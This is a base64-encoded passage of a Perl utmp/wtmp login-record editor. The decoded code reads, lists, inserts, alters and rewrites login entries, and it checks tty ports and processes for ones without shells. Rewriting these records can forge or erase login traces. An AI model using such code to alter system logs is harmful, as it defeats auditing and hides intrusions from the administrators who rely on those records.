ICYmIGRlZmluZWQoJGdtZGF0ZTIpKTsNCg0KICAjIEluc2VydCBmaXJzdCBlbnRyeS4NCiAgJGNt ZG9wdHsidGltZSJ9ID0gJGdtZGF0ZTsgIA0KICBAeyRlbnRyaWVzeyRlcG9zMX19e3F3KHR5cGUg cGlkIGxpbmUgaWQgdGltZSB1c2VyIGhvc3QgYWRkcil9ID0gDQogICAgICAgICAgIEB7JWNtZG9w dH17cXcodHlwZSBwaWQgbGluZSBpZCB0aW1lIHVzZXIgaG9zdCBhZGRyKX07DQoNCiAgaWYgKGRl ZmluZWQoJGVwb3MyKSkgew0KICAgICRjbWRvcHR7InVzZXIifSA9IHBhY2soImE4IiwgIiIpOw0K ICAgICRjbWRvcHR7Imhvc3QifSA9IHBhY2soImExNiIsIiIpOw0KICAgICRjbWRvcHR7ImlkIn0g ICA9IHBhY2soImE0IiwgIiIpOw0KICAgICRjbWRvcHR7InRpbWUifSA9ICRnbWRhdGUyOw0KIA0K ICAgIEB7JGVudHJpZXN7JGVwb3MyfX17cXcodHlwZSBwaWQgbGluZSBpZCB0aW1lIHVzZXIgaG9z dCBhZGRyKX0gPQ0KICAgICAgICAgICAgIEB7JWNtZG9wdH17cXcodHlwZSBwaWQgbGluZSBpZCB0 aW1lIHVzZXIgaG9zdCBhZGRyKX07DQogIH0NCg0KICByZXN5bmMoKTsNCn0NCg0KDQojIExJU1QN Cg0Kc3ViIGxpc3RfZnVuYyB7DQogIG15KEBwYXJhbXMpID0gQF87DQoNCiAgaWYgKCFwdXNoKEBf KSB8fCAoJHBhcmFtc1swXSBlcSAiYWxsIikpIHsNCiAgICBsaXN0X2J5X3JhbmdlKCItIik7DQog ICAgcmV0dXJuIDA7DQogIH0gZWxzaWYgKCRwYXJhbXNbMF0gPX4gL15ob3N0fHVzZXJ8aWR8bGlu ZSQvKSB7DQogICAgbGlzdF9ieV9kYXRhKEBfKTsNCiAgICByZXR1cm4gMDsNCiAgfSBlbHNpZiAo JHBhcmFtc1swXSA9fiBtL1xkKi1cZCt8XGQrLVxkKi8pIHsNCiAgICBsaXN0X2J5X3JhbmdlKCRw YXJhbXNbMF0pOw0KICAgIHJldHVybiAwOw0KICB9IGVsc2lmICgkcGFyYW1zWzBdID1+IG0vXihc ZCspJC8pIHsNCiAgICBsaXN0X2J5X3JhbmdlKCIkMS0kMSIpOw0KICAgIHJldHVybiAwOw0KICB9 DQogICAgICAgICAgICAgICAgICAgICAgICAgIA0KICBwcmludCAoImxpc3QgOjogRXJyb3IgaW4g cGFyYW1ldGVycy4gU2VlIFwiaGVscFwiIGZvciBzeW50YXguXG4iKTsNCiAgcmV0dXJuIHVuZGVm Ow0KfSAgICANCg0KDQpzdWIgbGlzdF9ieV9kYXRhIHsNCiAgbXkoJG9wLCAkZGF0YSkgPSBAXzsN CiAgbXkoJGNvdW50KSA9IDA7DQoNCiAgZm9yZWFjaCAoc29ydCggeyRhIDw9PiAkYn0ga2V5cygl ZW50cmllcykpKSB7DQogICAgaWYgKCV7JGVudHJpZXN7JF99fS0+eyRvcH0gPX4gbS8kZGF0YS9p KSB7DQogICAgICBsaXN0X2VudHJ5KCRfKTsNCiAgICAgICsrJGNvdW50Ow0KICAgIH0NCiAgfQ0K ICBwcmludCAiTm8gJG9wIGVudHJpZXMgbWF0Y2hpbmcgJGRhdGEuXG4iIGlmICghJGNvdW50KTsN Cn0NCg0KDQpzdWIgbGlzdF9ieV9yYW5nZSB7DQogIG15KCRyYW5nZSk9c2hpZnQ7DQogICRyYW5n ZSA9fiBtLyhcZCspKi0oXGQrKSovOw0KICBteSgkbG8sICRoaSk9KCQxLCAkMik7DQogIA0KICAk bG8gPSAwIGlmICghZGVmaW5lZCgkbG8pKTsNCiAgJGhpID0gc2NhbGFyKGtleXMoJWVudHJpZXMp KSBpZiAoIWRlZmluZWQoJGhpKSk7DQogIA0KICBmb3JlYWNoIChzb3J0KCB7ICRhIDw9PiAkYiB9 IGtleXMoJWVudHJpZXMpKSkgew0KICAgIGlmICgoJF8gPj0gJGxvKSAmJiAoJF8gPD0gJGhpKSkg ew0KICAgICAgbGlzdF9lbnRyeSgkXyk7DQogICAgfQ0KICB9DQp9ICAgICAgICAgICAgICAgDQoN Cg0Kc3ViIGxpc3RfZW50cnkgew0KICBwcmludGYoIiMlM2QgLSAiIC4gZ210aW1lKCV7JGVudHJp ZXN7JF99fS0+eyJ0aW1lIn0pLCAkXyk7DQogIHByaW50ZigiICAlcy8lcyIsIEB7JGVudHJpZXN7 JF99fXtxdyhpZCBsaW5lKX0pOw0KICBwcmludGYoIjogJXMgIiwgJXskZW50cmllc3skX319LT57 InVzZXIifSkNCiAgICBpZiAoJXskZW50cmllc3skX319LT57InVzZXIifSBuZSBwYWNrKCJhOCIs ICIiKSk7DQogIHByaW50ZigiZnJvbSAlcyIsICV7JGVudHJpZXN7JF99fS0+eyJob3N0In0pIA0K ICAgIGlmICgleyRlbnRyaWVzeyRffX0tPnsiaG9zdCJ9IG5lIHBhY2soImExNiIsICIiKSk7DQog IGlmICgleyRlbnRyaWVzeyRffX0tPnsiYWRkciJ9IG5lICJcMFwwXDBcMCIpIHsNCiAgICBwcmlu dGYoIiAoJXMpIiwgbG9uZ3RvZG90NCgleyRlbnRyaWVzeyRffX0tPnsiYWRkciJ9KSk7DQogIH0N CiAgcHJpbnQgKCJcbiIpOw0KICBwcmludGYoIiU3c1BJRCA9ICV1XG4iLCAiIiwgJXskZW50cmll c3skX319LT57InBpZCJ9KSANCiAgICBpZiAoJXskZW50cmllc3skX319LT57InBpZCJ9ICYmICgl eyRlbnRyaWVzeyRffX0tPnsidXNlciJ9IG5lIHBhY2soImE4IiwiIikpKTsNCn0NCg0KIyA8U2ls bWFyaWw+IHByaW50ZiAiIyRfIC0gJXMgJXMvJXM6ICVzIGZyb20gJXNcbiIsIEB7JHZ9LT57cXco dGltZSBpZCBsaW5lIHVzZXIgaG9zdCl9Ow0KIyA8U2lsbWFyaWw+IG5vdyAqdGhhdCdzKiBjb29s IDotKQ0KIyA8U2lsbWFyaWw+IHNob3VsZCBiZSBsaWtlIHRoaXM6IEB7JHZ9e3F3KHRpbWUgaWQg bGluZSB1c2VyIGhvc3QpfQ0KIyA8U2lsbWFyaWw+IEkgaGFkIGFuIGV4dHJhIC0+IGluIG15IGZp cnN0IHZlcnNpb24uDQojDQojIE9yIGNvdXJzZSwgaXQncyBjaGFuZ2VkIHNpbmNlIHRoZW4sIGJ1 dCAtICJUaGFua3MsIFNpbCEiIDopDQojDQoNCg0KIyBSRUFEDQoNCg0Kc3ViIHJlYWRfZnVuYyB7 DQogIG15KCRhcmcpPXNoaWZ0Ow0KICANCiAgJGFyZyA9ICR1dG1wX2xvY2F0aW9uIGlmICgkYXJn IGVxICJ1dG1wIik7DQogICRhcmcgPSAkd3RtcF9sb2NhdGlvbiBpZiAoJGFyZyBlcSAid3RtcCIp Ow0KICAkYXJnID0gJGFjdGl2ZV9maWxlIGlmICghZGVmaW5lZCgkYXJnKSk7DQogIA0KICBpZiAo JGFyZyAhfiBtIS8qW3V3XXRtcFteL10qJCEpIHsNCiAgICBwcmludCgicmVhZCA6OiBGaWxlbmFt ZXMgKm11c3QqIHN0YXJ0IHdpdGggZWl0aGVyICd3dG1wJyBvciAndXRtcCcgdG8gYmUgZWRpdGVk LlxuIik7DQogICAgcmV0dXJuIHVuZGVmOw0KICB9DQogIA0KICByZWFkZmlsZSgkYXJnKTsNCn0N CiAgIA0KDQojIFdSSVRFDQoNCnN1YiB3cml0ZV9mdW5jIHsNCiAgbXkoJGZpbGUpPXNoaWZ0Ow0K ICBteSgkY291bnQpPTA7DQogIA0KICAkZmlsZSA9ICRhY3RpdmVfZmlsZSBpZiAoIWRlZmluZWQo JGZpbGUpKTsNCiAgaWYgKCRmaWxlICF+IG0hLypbdXdddG1wW14vXSokISkgew0KICAgIHByaW50 ICgid3JpdGUgOjogRmlsZSBtdXN0IHN0YXJ0IHdpdGggJ3V0bXAnIG9yICd3dG1wJy5cblJlbmFt ZSBmaWxlIG91dHNpZGUgdGhpcyBwcm9ncmFtLlxuIik7DQogICAgcmV0dXJuIHVuZGVmOw0KICB9 DQogIGlmICghb3BlbihPVVRGSUxFLCAiPiRmaWxlIikpIHsNCiAgICBwcmludCAoIndyaXRlIDo6 IENhbid0IG9wZW4gJGZpbGUgZm9yIG91dHB1dC5cbiIpOw0KICAgIHJldHVybiB1bmRlZjsNCiAg fQ0KICBiaW5tb2RlKE9VVEZJTEUpOw0KICANCiAgZm9yZWFjaCAoc29ydCggeyAkYSA8PT4gJGIg fSBrZXlzKCVlbnRyaWVzKSkpIHsNCiAgICBwcmludGYgT1VURklMRSAoIiVzIiwgcGFjaygiaSBM IGExMiBhNCBMIGE4IGExNiBhNCIsIA0KICAgICAgQHskZW50cmllc3skX319e3F3KHR5cGUgcGlk IGxpbmUgaWQgdGltZSB1c2VyIGhvc3QgYWRkcil9KSk7DQogICAgJGNvdW50Kys7DQogIH0NCiAg cHJpbnQgKCIkYWN0aXZlX2ZpbGU6ICIgLiBzY2FsYXIoa2V5cyglZW50cmllcykpIC4gIiBlbnRy aWVzIHdyaXR0ZW4uXG4iKTsNCiAgY2xvc2UoT1VURklMRSk7DQp9ICAgICAgICAgICAgICAgDQoN Cg0KIyBDSEVDSw0KDQpzdWIgY2hlY2tfZnVuYyB7DQogIGlmIChwdXNoKEBfKSkgew0KICAgIHBy aW50ICJjaGVjayA6OiBJbnZhbGlkIG9wdGlvbnMgc3BlY2lmaWVkLiBQbGVhc2Ugc2VlIFwiaGVs cFwiXG4iOw0KICAgIHJldHVybiB1bmRlZjsNCiAgfQ0KICBpZiAoJGFjdGl2ZV9maWxlICF+IG0h Lyp1dG1wW14vXSokISkgew0KICAgIHByaW50ICJjaGVjayA6OiBDb21tYW5kIGNhbiBvbmx5IGJl IHJ1biBvbiB1dG1wIGZpbGVzLlxuIjsNCiAgICByZXR1cm4gdW5kZWY7DQogIH0NCiAgDQogICMg QnVpbGQgc3RydWN0IG9mIHBvcnRzIGNvbnRhaW5pbmcgcG9ydCBuYW1lLCBkZXZpY2UgbnVtIGFu ZCBvd25lci4NCiAgIyBOb3RlOiBUZXN0IHJ1biBpbiBncmVwc3RyIG1heSAqbm90KiBiZSBwb3J0 YWJsZSBmb3IgYWxsIFVuaXgNCiAgIyAgICAgICB0eXBlcy4gQmUgZm9yZXdhcm5lZCEgVGhpcyB3 YXMgZGVzaWduZWQgZm9yIExpbnV4Lg0KICAjIEhpbnQ6IEZvciBhbGwgaW50ZW50cyBhbmQgcHVy cG9zZXMsIHMvXiR0dHliYXNlKFskdHR5cmFuZ2VdWyR0dHlwb3J0c10pJC8NCiAgIyAgICAgICBz aG91bGQgcmV0dXJuIHRoZSBzYW1lIGFzIHdoYXQgeW91IGV4cGVjdCBpbiAic3RydWN0IHV0bXAt PnV0X2lkIi4NCiAgbXkoJGdyZXBzdHIpID0gIl4oJHR0eWJhc2VcWyR0dHlyYW5nZVxdXFskdHR5 cG9ydHNcXSlcJCI7DQogIG15KCVwb3J0cykgPSB7fTsNCiAgbXkoJHVzZXIsICRyZGV2KSA9ICgp Ow0KDQogIG9wZW5kaXIoREVWRElSLCAiL2RldiIpOw0KICBteShAZGV2ZmlsZXMpID0gcmVhZGRp cihERVZESVIpOw0KICBAZGV2ZmlsZXMgPSBncmVwKC8kZ3JlcHN0ci8sIEBkZXZmaWxlcyk7ICAN CiAgY2xvc2UoREVWRElSKTsNCiAgZm9yZWFjaCAoQGRldmZpbGVzKSB7DQogICAgL14kdHR5YmFz ZShbJHR0eXJhbmdlXVskdHR5cG9ydHNdKSQvOw0KICAgIGlmICghZGVmaW5lZCgkMSkpIHsNCiAg ICAgIHByaW50ICJjaGVjayA6OiBXYXJuaW5nISBDb3VsZCBub3QgZXh0cmFjdCBwb3J0IElEIGZy b20gJF8uXG4iOw0KICAgIH0gZWxzZSB7DQogICAgICAoJHVzZXIsICRyZGV2KSA9IChzdGF0KCIv ZGV2LyRfIikpWzQsIDZdOw0KICAgICAgJHVzZXIgPSBnZXRwd3VpZCgkdXNlcik7DQogICAgICAk cG9ydHN7JDF9ID0gbmV3cG9ydCgkXywgJHJkZXYsICR1c2VyKTsNCiAgICB9IA0KICB9DQogIA0K ICAjIENoZWNrIG93bmVyc2hpcCBvZiAvZGV2IHBvcnRzLg0KICBteShAbG9nZGV2KT0oKTsNCiAg Zm9yZWFjaCAoc29ydChrZXlzKCVwb3J0cykpKSB7DQogICAgcHVzaChAbG9nZGV2LCAkXykgaWYg KCV7JHBvcnRzeyRffX0tPnsib3duZXIifSBuZSAicm9vdCIpOw0KICB9DQogIEBsb2dkZXYgPSBz b3J0KEBsb2dkZXYpOw0KICAgICAgDQogICMgQ2hlY2sgdXRtcCAoYWdhaW5zdCBwb3J0cyBkZXRl Y3RlZCBhcyBsb2dnZWQgaW4pOw0KICBteShAbG9ndXRtcCk9KCk7DQogIGZvcmVhY2ggKHNvcnQo IHsgJGEgPD0+ICRiIH0ga2V5cyglZW50cmllcykpKSB7DQogICAgaWYgKGRlZmluZWQoJXskZW50 cmllc3skX319LT57InVzZXIifSkgJiYgZGVmaW5lZCgleyRlbnRyaWVzeyRffX0tPnsiaG9zdCJ9 KSAmJg0KICAgICAgICBkZWZpbmVkKCV7JGVudHJpZXN7JF99fS0+eyJpZCJ9KSAgICYmIGRlZmlu ZWQoJXskZW50cmllc3skX319LT57InBpZCJ9KSkgew0KICAgICAgcHVzaChAbG9ndXRtcCwgJXsk ZW50cmllc3skX319LT57ImlkIn0pICANCiAgICAgICAgaWYgKCgleyRlbnRyaWVzeyRffX0tPnsi aWQifSA9fiAvWyR0dHlyYW5nZV1bJHR0eXBvcnRzXS8pICYmDQogICAgICAgICAgICAoKCV7JGVu dHJpZXN7JF99fS0+eyJ1c2VyIn0gbmUgcGFjaygiYTgiLCAiIikpIHx8DQogICAgICAgICAgICAo KCV7JGVudHJpZXN7JF99fS0+eyJob3N0In0gbmUgcGFjaygiYTE2IiwgIiIpKSAmJg0KICAgICAg ICAgICAgICgleyRlbnRyaWVzeyRffX0tPnsiaWQifSBuZSBwYWNrKCJhNCIsICIiKSkgJiYNCiAg ICAgICAgICAgICAoJXskZW50cmllc3skX319LT57ImxpbmUifSBuZSBwYWNrKCJhMTIiLCAiIikp ICYmDQogICAgICAgICAgICAgKCV7JGVudHJpZXN7JF99fS0+eyJwaWQifSA+IDApKSkpOw0KICAg IH0NCiAgfQ0KICBAbG9ndXRtcCA9IHNvcnQoQGxvZ3V0bXApOw0KDQogICMgQ2hlY2sgUElEcyAo ZmluZCBwcm9jZXNzZXMgd2l0aCBhY3RpdmUgcG9ydCBpZHMpDQogIG9wZW5kaXIoUElERElSLCAi L3Byb2MiKTsNCiAgbXkoJXByb2Nlc3NlcykgPSB7fTsNCiAgbXkoQHBvcnRwcm9jZXNzZXMpID0g KCk7DQogIGZvcmVhY2ggKGdyZXAoL1xkKy8sIHJlYWRkaXIoUElERElSKSkpIHsNCiAgICBsb2Nh bCgkcHJvY2RhdGEsICRjbWRsaW5lKTsNCiAgICBvcGVuKFBST0NGSUxFLCAiPC9wcm9jLyRfL3N0 YXQiKTsNCiAgICAkcHJvY2RhdGEgPSA8UFJPQ0ZJTEU+Ow0KICAgIGNsb3NlKFBST0NGSUxFKTsN CiAgICBpZiAoLWUgIi9wcm9jLyRfL3N0YXQiKSB7DQogICAgICBsb2NhbCgkY21kbGluZSwgJGRl dm51bSwgJHBvcnRpZCk7DQogICAgICAoJGNtZCwgJGRldm51bSkgPSAoc3BsaXQoLyAvLCAkcHJv Y2RhdGEpKVsxLCA2XTsNCiAgICAgICMgUmVtb3ZlIHN1cnJvdWRpbmcgKCkgZnJvbSBjb21tYW5k IG5hbWUuDQogICAgICAkY21kID1+IHMvW1woXCldLy9nOw0KICAgICAgJHBvcnRpZCA9IGRldjJp ZChcJXBvcnRzLCAkZGV2bnVtKTsNCiAgICAgIGlmIChkZWZpbmVkKCRwb3J0aWQpKSB7DQogICAg ICAgIHB1c2goQHBvcnRwcm9jZXNzZXMsICRwb3J0aWQpDQogICAgICAgICAgaWYgKCFkZWZpbmVk KGxpc3Rwb3MoXEBwb3J0cHJvY2Vzc2VzLCAkcG9ydGlkKSkmJigkJCAhPSAkXykpOw0KICAgICAg ICAkcHJvY2Vzc2VzeyRffSA9IG5ld3Byb2MoJGNtZCwgJHBvcnRpZCkgaWYgKGRlZmluZWQoJHBv cnRpZCkgJiYgKCQkICE9ICRfKSk7DQogICAgICB9DQogICAgfQ0KICB9DQogIGNsb3NlKFBJRERJ Uik7DQoNCiAgIyBBIHBvcnQgaXMgKm5vdCogbG9nZ2VkIGluIGlmIHRoZXJlIGlzIG5vIGRldiBl bnRyeSBmb3IgcG9ydCwgbm8gdXRtcCBlbnRyeQ0KICAjIGFuZCBubyBhY3RpdmUgcHJvY2Vzc2Vz Lg0KICBteShAdmFsaWRzaGVsbHBvcnRzKSA9ICgpOw0KICBmb3JlYWNoIChzb3J0KCB7ICRhIDw9 PiAkYn0ga2V5cyglcHJvY2Vzc2VzKSkpIHsNCiAgICBwdXNoKEB2YWxpZHNoZWxscG9ydHMsICV7 JHByb2Nlc3Nlc3skX319LT57InBvcnQifSkgDQogICAgICBpZiAoZGVmaW5lZChsaXN0cG9zKFxA c2hlbGxzLCAleyRwcm9jZXNzZXN7JF99fS0+eyJjbWQifSkpJiYNCiAgICAgICAgICAhZGVmaW5l ZChsaXN0cG9zKFxAdmFsaWRzaGVsbHBvcnRzLCAleyRwcm9jZXNzZXN7JF99fS0+eyJwb3J0In0p KSk7DQogIH0NCiAgIyBSZW1vdmUgcG9ydHMgd2l0aCB2YWxpZCBzaGVsbHMgZnJvbSBsaXN0IG9m IHBvcnRzIHdpdGggYWN0aXZlIHByb2Nlc3Nlcy4NCiAgbXkoQG5vc2hlbGxwb3J0cykgPSANCiAg ICBzb3J0KGdyZXAoIWRlZmluZWQobGlzdHBvcyhcQHZhbGlkc2hlbGxwb3J0cywgJF8pKSwgQHBv cnRwcm9jZXNzZXMpKTsNCiAgQHZhbGlkc2hlbGxwb3J0cyA9IHNvcnQoQHZhbGlkc2hlbGxwb3J0 cyk7DQogIHByaW50ICJQb3J0cyB3aXRoIGFjdGl2ZSAvZGV2IGZpbGVzOiBAbG9nZGV2XG4iDQog ICAgaWYgKGRlZmluZWQoQGxvZ2RldikpOw0KICBwcmludCAiUG9ydHMgd2l0aCB1dG1wIGVudHJp ZXM6IEBsb2d1dG1wXG4iDQogICAgaWYgKGRlZmluZWQoQGxvZ3V0bXApKTsNCiAgcHJpbnQgIlBv cnRzIHdpdGggdmFsaWQgc2hlbGxzOiBAdmFsaWRzaGVsbHBvcnRzXG4iIA0KICAgIGlmIChkZWZp bmVkKEB2YWxpZHNoZWxscG9ydHMpKTsNCiAgcHJpbnQgIlBvcnRzIHdpdGggYWN0aXZlIHByb2Nl c3NlcyBhbmQgKm5vKiBzaGVsbHM6IEBub3NoZWxscG9ydHNcbiIgDQogICAgaWYgKGRlZmluZWQo QG5vc2hlbGxwb3J0cykpOw0KfSAgDQogIA0KICAgIA0KIyBHRU5FUkFMDQoNCnN1YiByZWFkZmls ZSB7DQogIGxvY2FsKCRmaWxlKTsNCiAgJGZpbGUgPSBzaGlmdDsNCiAgbXkoJGluZGV4KT0xOw0K ICBteSgkYnVmZmVyKT0iIjsNCg0KICAjIEluc3VyZSB3ZSBoYXZlIGEgY2xlYW4gaGFzaCB0YWJs ZSBiZWZvcmUgd2Ugc3RhcnQgcmVhZGluZyBpbiB0aGUgZmlsZS4NCiAgZm9yZWFjaCAoa2V5cygl ZW50cmllcykpIHsNCiAgICB1bmRlZigleyRlbnRyaWVzeyRffX0pOw0KICAgIGRlbGV0ZSgke2Vu dHJpZXN7JF99fSk7DQogIH0NCiAgICANCiAgb3BlbihVVE1QRklMRSwgIjwkZmlsZSIpIHx8IGRp ZSgidXRtcC1wYXJzZTogQ2FuJ3Qgb3BlbiAkZmlsZSAtICQhXG4iKTsNCiAgYmlubW9kZShVVE1Q RklMRSk7DQogICMgMS8xNy85Niwgc3RydWN0IHV0bXAgaXMgNTYgYnl0ZXMgKDU0IGFjY29yZGlu ZyB0byBhZGRpdGlvbiEgOlApLiAgDQogIHdoaWxlIChyZWFkKFVUTVBGSUxFLCAkYnVmZmVyLCA1 NikpIHsNCiAgICAkZW50cmllc3skaW5kZXgrK30gPSBuZXd1dG1wKCRidWZmZXIpOw0KICB9DQog ICRhY3RpdmVfZmlsZSA9ICRmaWxlOw0KICBwcmludCAoIiRhY3RpdmVfZmlsZTogIiAuIHNjYWxh cihrZXlzKCVlbnRyaWVzKSkgLiAiIGVudHJpZXMgbG9hZGVkLlxuIik7DQogIGNsb3NlKFVUTVBG SUxFKTsNCn0NCg0KDQpzdWIgbmV3dXRtcCB7DQogIG15KCRuZXdidWZmKSA9IHNoaWZ0Ow0KICBt eSgkbG9uZ2FkZHIpID0gMDsNCiAgDQogICRuZXdub2RlID0gYmxlc3MgeyANCiAgICAidHlwZSIg PT4gdW5kZWYsICJwaWQiID0+IHVuZGVmLCAgImxpbmUiID0+IHVuZGVmLCAiaWQiICAgPT4gdW5k ZWYsDQogICAgInRpbWUiID0+IHVuZGVmLCAidXNlciIgPT4gdW5kZWYsICJob3N0IiA9PiB1bmRl ZiwgImFkZHIiID0+IHVuZGVmDQogIH0sICdVVE1QTk9ERSc7DQogIA0KICBAeyRuZXdub2RlfXtx dyh0eXBlIHBpZCBsaW5lIGlkIHRpbWUgdXNlciBob3N0IGFkZHIpfT0NCiAgICB1bnBhY2soImkg TCBhMTIgYTQgTCBhOCBhMTYgYTQiLCAkbmV3YnVmZik7DQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgIA0KICByZXR1cm4gJG5ld25vZGU7DQp9ICANCg0KDQpzdWIgbmV3cG9ydCB7DQogDQog ICRuZXdub2RlID0gYmxlc3Mgew0KICAgICJwb3J0IiA9PiB1bmRlZiwgInJkZXYiID0+IHVuZGVm LCAib3duZXIiID0+IHVuZGVmLCAiY21kIiA9PiB1bmRlZiwNCiAgfSwgJ1BPUlROT0RFJzsNCiAg DQogIEB7JG5ld25vZGV9e3F3KHBvcnQgcmRldiBvd25lcil9ID0gQF87DQogIA0KICByZXR1cm4g JG5ld25vZGU7DQp9DQoNCg0Kc3ViIG5ld3Byb2Mgew0KIA0KICAkbmV3bm9kZSA9IGJsZXNzIHsN CiAgICAiY21kIiA9PiB1bmRlZiwgInBvcnQiID0+IHVuZGVmLCANCiAgfSwgJ1BST0NOT0RFJzsN CiAgDQogIEB7JG5ld25vZGV9e3F3KGNtZCBwb3J0KX0gPSBAXzsNCiAgDQogIHJldHVybiAkbmV3 bm9kZTsNCn0NCg0KDQojIFJlbnVtYmVyIGhhc2hlcyB0byBkZWZhdWx0IG9yZGVyLg0Kc3ViIHJl c3luYyB7DQogIG15KCVuZXdoYXNoKSA9ICgpOw0KICBteSgkY291bnQpPTA7DQoNCiAgIyBXcml0 ZSBvcmRlcmVkIGxpc3QgaW4gdG8gdGVtcG9yYXJ5IGhhc2gsIGRlbGV0aW5nIGFzIHdlIGdvLg0K ICBmb3JlYWNoIChzb3J0KCB7JGEgPD0+ICRifSBrZXlzKCVlbnRyaWVzKSkpIHsNCiAgICAkbmV3 aGFzaHsrKyRjb3VudH0gPSAkZW50cmllc3skX307DQogICAgZGVsZXRlKCRlbnRyaWVzeyRffSk7 DQogIH0NCg0KICAjIENvcHkgZWxlbWVudHMgYmFjayBpbiB0byBvcmlnaW5hbCBoYXNoIHRhYmxl Lg0KICBmb3JlYWNoIChzb3J0KCB7JGEgPD0+ICRifSBrZXlzKCVuZXdoYXNoKSkpIHsNCiAgICAk ZW50cmllc3skX30gPSAkbmV3aGFzaHskX307DQogIH0NCn0NCg0KDQpzdWIgbG9uZ3RvZG90NCB7 DQogIG15KCRhZGRyKT1zaGlmdDsNCg0KICByZXR1cm4gam9pbigiLiIsIG1hcCggb3JkKCRfKSwg c3BsaXQoLy8sICRhZGRyKSkpOw0KfQ0KDQpzdWIgZGV2MmlkIHsNCiAgbXkoJHBvcnRsaXN0LCAk cmRldikgPSBAXzsNCg0KICBmb3JlYWNoIChzb3J0KGtleXMoJXskcG9ydGxpc3R9KSkpIHsNCiAg ICByZXR1cm4gJF8gaWYgKCV7JHBvcnRsaXN0fS0+eyRffS0+eyJyZGV2In09PSRyZGV2KTsNCiAg fSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgcmV0dXJuIHVuZGVmOw0KfQ0KDQoN CnN1YiBsaXN0cG9zIHsNCiAgbXkoJGFycmF5cmVmLCAkc2VhcmNoKSA9IEBfOw0KICBteSgkY291 bnQpID0gMDsNCg0KJF5XID0gMDsNCiAgZm9yZWFjaCAoQHskYXJyYXlyZWZ9KSB7DQogICAgcmV0 dXJuICRjb3VudCBpZiAoJHNlYXJjaCBlcSAkeyRhcnJheXJlZn1bJGNvdW50XSk7DQogICAgJGNv dW50Kys7DQogIH0NCiReVyA9IDE7DQoNCiAgcmV0dXJuIHVuZGVmOw0KfQ0KDQoNCiMjIyBEQVRF IFJPVVRJTkVTDQoNCiMgVGhlIGZvbGxvd2luZyBjb2RlIHRha2VuICYgbW9kaWZpZWQgZnJvbSB0 aGUgRGF0ZTo6TWFuaXAgcGFja2FnZS4NCiMgSGVyZSBpcyBoaXMgY29weXJpZ2h0Og0KIw0KIyMg Q29weXJpZ2h0IChjKSAxOTk1LDE5OTYgU3VsbGl2YW4gQmVjay4gQWxsIHJpZ2h0cyByZXNlcnZl ZC4NCiMjIFRoaXMgcHJvZ3JhbSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0 ZSBpdCBhbmQvb3IgbW9kaWZ5IGl0DQojIyB1bmRlciB0aGUgc2FtZSB0ZXJtcyBhcyBQZXJsIGl0 c2VsZi4NCg0KDQpzdWIgU2Vjc1NpbmNlMTk3MCB7DQojIFBhcnNlIGFzIG1tL2RkL1tjY115eVs6 aGg6bW1bOnNzXV0NCiAgbXkoJGRhdGV0aW1lKSA9IHNoaWZ0Ow0KICBteSgkbSwkZCwkeSwkaCwk bW4sJHMpID0gKCk7DQoNCiAgIyBJZiBkYXRlIGlzIG5vdCBkZWZpbmVkLCB0aGVuIHJldHVybiBs b2NhbCBjdXJyZW50IGRhdGUgYW5kIHRpbWUuDQogIHJldHVybiB0aW1lKCkgaWYgKCFkZWZpbmVk KCRkYXRldGltZSkpOw0KDQogICRkYXRldGltZSA9fiANCiAgICBzIV4oXGR7MSwyfSkvKFxkezEs Mn0pLyhcZHs0fXxcZHsyfSkoPzpcOihcZHsyfSk6KFxkezJ9KSg/Olw6KFxkezJ9KSk/KT8hITsN CiAgKCRtLCAkZCwgJHksICRoLCAkbW4sICRzKSA9ICgkMSwgJDIsICQzLCAkNCwgJDUsICQ2KTsN CiAgJG0tLTsNCg0KICAjIEZpbmFsaXplIHRpbWUgY29tcG9uZW50cyBhbmQgY2hlY2sgdGhlbS4N CiAgJHkgPSAoKCR5IDwgNzApID8gIjIwIjoiMTkiIC4gJHkpIGlmIChsZW5ndGgoJHkpPT0yKTsg DQoNCiAgIyBUaGlzIGNoZWNrcyBmb3IgYW55ICpub24tbWF0Y2hlZCogcG9ydGlvbiBvZiAkZGF0 ZXRpbWUuIElmIHRoZXJlIGlzIHN1Y2gNCiAgIyBhbiBhbmltYWwsIHRoZW4gdGhlcmUgaXMgaWxs ZWdhbCBkYXRhIHNwZWNpZmllZC4gQWxzbyBzY3JlZW5zIGZvciB1bmRlZmluZWQNCiAgIyBjb21w b25lbnRzIHdoaWNoIEhBVkUgdG8gYmUgaW4gQU5ZIHZhbGlkIGRhdGUvdGltZSAoaWUsIG1vbnRo LCBkYXksIHllYXIpLg0KICByZXR1cm4gdW5kZWYgaWYgKCFkZWZpbmVkKCRtKSB8fCAhZGVmaW5l ZCgkZCkgfHwgIWRlZmluZWQoJHkpIHx8IGxlbmd0aCgkZGF0ZXRpbWUpKTsNCg0KICAjIFNldCB0 aW1lIGNvbXBvbmVudHMgd2l0aCB1bnNwZWNpZmllZCB2YWx1ZXMuDQogICRzID0gMCBpZiAoIWRl ZmluZWQoJHMpKTsNCiAgJG1uID0gMCBpZiAoIWRlZmluZWQoJG1uKSk7DQogICRoID0gMCBpZiAo IWRlZmluZWQoJGgpKTsNCg0KICAjIENoZWNrIGZvciByYW5nZXMuDQogIHJldHVybiB1bmRlZiBp ZiAoKCRtID4gMTEpICAgIHx8ICgkaCA+IDIzKSAgICB8fCAoJG1uID4gNTkpICAgfHwgKCRzID4g NTkpKTsNCiAgICAgICAgICAgICAgICAgICAgIA0KICAjIEJlZ2luIGNvbnZlcnNpb24gdG8gc2Vj b25kcyBzaW5jZSAxLzEvNzAuDQogIG15KCRzZWNfbm93LCRzZWNfNzApPSgpOw0KICAkc2VjX25v dz1EYXlzU2luY2U5OTkoJG0sJGQsJHkpOw0KICByZXR1cm4gdW5kZWYgaWYgKCFkZWZpbmVkKCRz ZWNfbm93KSk7DQoNCiAgJHNlY19ub3ctLTsNCiAgJHNlY19ub3cgPSAkc2VjX25vdyoyNCozNjAw ICsgJGgqMzYwMCArICRtbio2MCArICRzOw0KICAkc2VjXzcwID0zMDYxMDIyNDAwMDsNCiAgcmV0 dXJuICgkc2VjX25vdy0kc2VjXzcwKTsNCn0NCg0KDQpzdWIgRGF5c1NpbmNlOTk5IHsNCiAgbXko JG0sJGQsJHkpPUBfOw0KICBteSgkTnksJE40LCROMTAwLCRONDAwLCRkYXlvZnllYXIsJGRheXMp 